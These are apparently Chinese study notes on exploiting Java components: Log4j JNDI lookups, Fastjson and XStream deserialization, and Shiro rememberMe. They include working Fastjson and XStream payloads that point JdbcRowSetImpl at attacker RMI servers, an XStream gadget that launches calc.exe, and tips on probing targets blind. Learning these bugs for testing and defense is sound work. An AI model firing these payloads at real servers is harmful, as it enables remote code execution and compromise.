1、Log4j
简介 :
它的主要功能就是,进行日志的记录,主要的作用就是用于调试服务开启时出现的一些错误问题
使用
导入到依赖库
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
版本一定不能大于这个 不然,高版本的会失效在 2.5 之后就执行不了了
新建一个对象:
原本log报错:是在一个业务中如果 我们的程序执行了我们不想要的结果 :
然而这涉及到 变量的重叠
//正常情况下 $ 就类似于执行一个命令 java是语言 os是要执行的命令
String code="${java:os}";
log.error("{}",code);
最后执行的结果
使用serverlet进行测试
会有这个特殊字符无法处理的报错,解决方式 直接使用url编码
测试
黑盒情况下:大规模的对可控制的参数进行 lookup 的插入
白盒就找 :log4j版本 => 找函数log.error -> 可控制的参数
FastJson
主要的功能就是对 json数据进行处理,安全问题出现在反序列化时会执行jndi注入的风险
序列化 : object=>json
反 : json=>object
操作
导入依赖库
// 利用代码
package com.example.log4jdemo;
import com.alibaba.fastjson.JSON;
import javax.naming.InitialContext;
public class Fastjsondemo {
public static void main(String[] args) {
// fastjson反序列化操作
String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://192.168.1.2:1099/qdw686\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
}
切换高版本:
高版本再执行上面的payload没有反应 需要新的payload
String payload = "{ \n" +
" \"a\": { \n" +
" \"@type\": \"java.lang.Class\", \n" +
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\" \n" +
" }, \n" +
" \"b\": { \n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
" \"dataSourceName\": \"rmi://192.168.1.4:1099/txtjkd\", \n" +
" \"autoCommit\": true \n" +
" }\n" +
"}";
Xstream
这个类似于 Fastjson 主要是对 Xml数据的处理
一则登录xml数据传输的格式
<admin>
<acount>xiaodi</acount>
<passwd>xiaodi<passwd>
</admin>
所以他的利用也是在反序列化中进行
利用
导入库
新建一个类
Car
调用一个接口
重写方法
使用xml进行操作
反序列之后会执行重写的方法
还有一个利用方法就是使用本地自带的JDK链进行操作
version : 1.4.5
String payload = "<sorted-set>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class=\"java.beans.EventHandler\">\n" +
" <target class=\"java.lang.ProcessBuilder\">\n" +
" <command>\n" +
" <string>calc.exe</string>\n" +
" </command>\n" +
" </target>\n" +
" <action>start</action>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
"</sorted-set>";
对于高版本 :
version :1.4.15
String poc="<java.util.PriorityQueue serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <java.util.PriorityQueue>\n" +
" <default>\n" +
" <size>2</size>\n" +
" <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>\n" +
" <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>\n" +
" <packet>\n" +
" <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>\n" +
" <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>\n" +
" <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>\n" +
" <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>\n" +
" <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>\n" +
" <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>\n" +
" <uriProperties/>\n" +
" <attributeProperties/>\n" +
" <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>\n" +
" <getter>\n" +
" <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +
" <name>getDatabaseMetaData</name>\n" +
" <parameter-types/>\n" +
" </getter>\n" +
" </inheritedAttWildcard>\n" +
" </bi>\n" +
" <tagName/>\n" +
" <context>\n" +
" <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>\n" +
" <outer-class reference='../..'/>\n" +
" </marshallerPool>\n" +
" <nameList>\n" +
" <nsUriCannotBeDefaulted>\n" +
" <boolean>true</boolean>\n" +
" </nsUriCannotBeDefaulted>\n" +
" <namespaceURIs>\n" +
" <string>1</string>\n" +
" </namespaceURIs>\n" +
" <localNames>\n" +
" <string>UTF-8</string>\n" +
" </localNames>\n" +
" </nameList>\n" +
" </context>\n" +
" </bridge>\n" +
" </bridge>\n" +
" <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>\n" +
" <javax.sql.rowset.BaseRowSet>\n" +
" <default>\n" +
" <concurrency>1008</concurrency>\n" +
" <escapeProcessing>true</escapeProcessing>\n" +
" <fetchDir>1000</fetchDir>\n" +
" <fetchSize>0</fetchSize>\n" +
" <isolation>2</isolation>\n" +
" <maxFieldSize>0</maxFieldSize>\n" +
" <maxRows>0</maxRows>\n" +
" <queryTimeout>0</queryTimeout>\n" +
" <readOnly>true</readOnly>\n" +
" <rowSetType>1004</rowSetType>\n" +
" <showDeleted>false</showDeleted>\n" +
" <dataSource>rmi://192.168.1.4:1099/rj6obg</dataSource>\n" +
" <params/>\n" +
" </default>\n" +
" </javax.sql.rowset.BaseRowSet>\n" +
" <com.sun.rowset.JdbcRowSetImpl>\n" +
" <default>\n" +
" <iMatchColumns>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" </iMatchColumns>\n" +
" <strMatchColumns>\n" +
" <string>foo</string>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" </strMatchColumns>\n" +
" </default>\n" +
" </com.sun.rowset.JdbcRowSetImpl>\n" +
" </jaxbObject>\n" +
" </dataSource>\n" +
" </message>\n" +
" <satellites/>\n" +
" <invocationProperties/>\n" +
" </packet>\n" +
" </indexMap>\n" +
" </comparator>\n" +
" </default>\n" +
" <int>3</int>\n" +
" <string>javax.xml.ws.binding.attachments.inbound</string>\n" +
" <string>javax.xml.ws.binding.attachments.inbound</string>\n" +
" </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>";
先加载一下库
需要导入rmi的地方 :
只能就能执行jndi注入
测试
他的测试和fastjson一样所以一块写 :
黑盒 : 类似于功能点登录框,反馈意见之类的,黑盒就是盲测
白盒:需要先看对方 Xs Fs的版本 然后找合适的paylaod,如果有jndi的利用点 注意看jdk是否支持
Shiro
它的功能就是 登录页面的验证 例子就是 有的登录用户登录之后会有一个 记住我,让下次登录的时候,不用输入账号密码
简单的搭建(配合ai)
这个项目是 serverlet+jsp+Shiro 构造登录功能
1、pom.xml导入 shiro
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.9.1</version>
</dependency>
2、配置jsp页面(这个其实就是java的厉害之处就是 每一个功能点对应相应的jsp前端页面)
login.jsp:
<!DOCTYPE html>
<html>
<head>
<title>登录页面</title>
</head>
<body>
<h2>用户登录</h2>
<form action="login" method="post">
用户名: <input type="text" name="username"><br>
密码: <input type="password" name="password"><br>
<input type="submit" value="登录">
</form>
</body>
</html>
3、配置 shiro登录页面的账号密码
这个真实情况下是从数据中提取出的
创建第一个类
package com.example.shirowebdemo48;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.subject.Subject;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/login")
public class LoginServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String username = req.getParameter("username"); //接受post传输模式下的账号密码
String password = req.getParameter("password");
Subject subject = SecurityUtils.getSubject();
UsernamePasswordToken token = new UsernamePasswordToken(username, password);
//生成token
try { // 判断登录
subject.login(token); // 执行登录
resp.getWriter().write("ok you are admin");
} catch (Exception e) {
resp.getWriter().write("failed you are error:" + e.getMessage());
}
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
Subject subject = SecurityUtils.getSubject();
subject.logout(); // 执行注销
resp.getWriter().write("注销成功");
}
}
管理员登录之后的功能点
package com.example.shirowebdemo48;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.apache.shiro.authz.annotation.RequiresRoles;
import org.apache.shiro.subject.Subject;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/admin")
public class AdminServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
Subject subject = SecurityUtils.getSubject(); //shiro 判断用户登录是否为管理员
if (subject.hasRole("admin")) {
resp.getWriter().write("欢迎管理员");
} else {
resp.getWriter().write("无权限访问");
}
}
}
运行 jsp文件 发现报错
在pom.xml中添加 :
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<version>1.7.36</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
他的功能一目了然 : 判断我们前端输入密码的正确性
利用:
一般我们利用shiro 就是使用反序列化
因为他有个标志就是 remberME=
这个地方就是反序列化利用的地方
可以直接使用工具进行爆破